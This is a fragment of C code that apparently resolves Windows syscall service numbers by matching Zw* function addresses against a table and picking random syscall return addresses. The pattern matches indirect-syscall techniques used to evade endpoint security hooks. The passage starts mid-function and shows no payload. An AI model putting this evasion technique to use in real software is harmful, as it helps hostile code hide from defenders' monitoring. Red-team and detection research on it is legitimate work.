syscalls[11].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
}
//here i can go through the list of the functions looking for what i want and then match it
//in my array
for (int i = 0; i < zwCounter - 1; i++) {
for (int j = 0; j < syscallEntries; j++) {
//recycling variables here for comparing purposes
addressValue = (uintptr_t)syscalls[j].funcAddr;
//if the address of the syscall we want matches any half of those we want, we know that's the right SSN
if (syscallHalf[i] == (DWORD)(addressValue & 0xFFFFFFFF)) {
syscalls[j].SSN = i;
}
}
}
}